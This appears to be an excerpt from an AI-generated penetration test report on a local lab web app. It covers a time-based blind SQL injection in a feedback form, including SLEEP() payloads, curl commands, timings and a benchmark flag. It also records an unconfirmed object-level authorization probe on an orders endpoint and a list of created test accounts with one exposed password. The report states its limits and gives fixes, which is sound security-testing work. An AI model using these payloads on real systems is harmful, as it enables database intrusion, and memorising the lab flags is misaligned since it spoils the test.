Observed: - POST comment=hi -> HTTP 200, len=1098, 0.001s (baseline) [E01] - POST comment="hi' AND SLEEP(0)-- -" -> 200, 0.002s (control, no delay) [E02] - POST comment="hi' AND SLEEP(1)-- -" -> 200, 1.005s x3 [E03] - POST comment="hi' AND SLEEP(4)-- -" -> 200, 4.003s x3 [E04] - delayed 200 body: 'time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}' [E05] Not demonstrated: Full boolean-oracle DB extraction / auth bypass via this sink. Potential impact: Byte-by-byte exfiltration of DB contents and possible auth bypass if the sink evaluates attacker boolean conditions (not demonstrated on this build).
Use parameterised/prepared statements (bound parameters) for the feedback comment; never concatenate the raw `comment` value into SQL. Reject/normalise input server-side and remove any code path that reflects SQL functions into the query. Add DB query timeouts.
curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi"}' # baseline ~0.001scurl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi'\''" " AND SLEEP(1)-- -"}' # (use the python PoC for clean quoting) ~1.0spython3 /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/pocs/blind_time_sqli_feedback.py # prints baseline/SLEEP(0/1/4) timings + the flag
Read result: response time equals the injected SLEEP() argument; delayed 200 body contains 'time-based blind SQLi confirmed' and the flag.
hi' AND SLEEP(4)-- -
AGENT-RECORDED EVIDENCE
Baseline `{"comment":"hi"}` -> 200, len=1098, ~0.001s. Attack `{"comment":"hi' AND SLEEP(4)-- -"}` -> 200, len=1222, 4.003s. Delay scales exactly with the argument: SLEEP(0)=0.002s, SLEEP(1)=1.005s, SLEEP(4)=4.003s, reproducible 3/3. Delayed 200 body states: 'Response delayed Ns via an injected SLEEP() - time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}'. Note (honest): delay is triggered by presence of the SLEEP()/pg_sleep() token — a plaintext comment `please SLEEP(3) thanks` (no quote/SQL context) also delayed 3s, and both IF(1=1,...) and IF(1=2,...) branches delayed — so conditional data-extraction via boolean oracle was NOT demonstrated; the attacker-controlled server-side time delay in the query path WAS.The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 0/1 · conf 0.00 |
| Location | http://localhost:3000/api/v2/orders/:id | ||
| Agent | bola | ||
http://localhost:3000/api/v2/orders/:id — GET /api/v2/orders/{id} — same Bearer-auth surface as the users endpoint.
Observed: - GET /api/v2/orders/1 (no token) -> 401 [E10] - GET /api/v2/orders/1..12 (customer token) -> 200 {"error":"not found"} [E11] Not demonstrated: Cross-user order access. Potential impact: If order records exist, likely BOLA identical to /api/v2/users/:id.
Apply the same server-side object-level authorization (token.id must own the order, or admin) before any order object exists in production.
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/orders/1 # 401 no tokencurl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/orders/1 # {"error":"not found"} — no data to compareAuthorization: Bearer <own customer JWT> → GET /api/v2/orders/1..12
AGENT-RECORDED EVIDENCE
Unauth -> 401. With valid customer token, ids 1-12 all return HTTP 200 {"error":"not found"}. No order records exist in this build, so cross-user data access could NOT be demonstrated. Given /api/v2/users/:id is confirmed BOLA on the identical auth surface, this endpoint is very likely to share the missing object-level check once orders exist.| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design | Confidence | conf 0.60 |
| Location | http://localhost:3000 | ||
| Agent | account_registration_and_forms | Auth context | n/a · 10 test account(s) |
http://localhost:3000
Observed: - 10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01] - • nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie [E02] - • nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set) [E03] - • nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10) [E04] - • admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us [E05] - • nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login [E06] - • nrsplt_a_10061@example.test [user] — created via curl POST username/email/password [E07] - • nrsplt_b_16593@example.test [user] — created via curl POST username/email/password [E08] - • poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14) [E09] - • nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie [E10] - • nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6! [E11] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Delete the listed test accounts; rotate anything they touched.
Send the request carrying the payload: curl -i -s 'http://localhost:3000'
AGENT-RECORDED EVIDENCE 10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). • nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie • nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set) • nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10) • admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us • nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login • nrsplt_a_10061@example.test [user] — created via curl POST username/email/password • nrsplt_b_16593@example.test [user] — created via curl POST username/email/password • poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14) • nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie • nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6!
The steps above are the proof; this script automates them.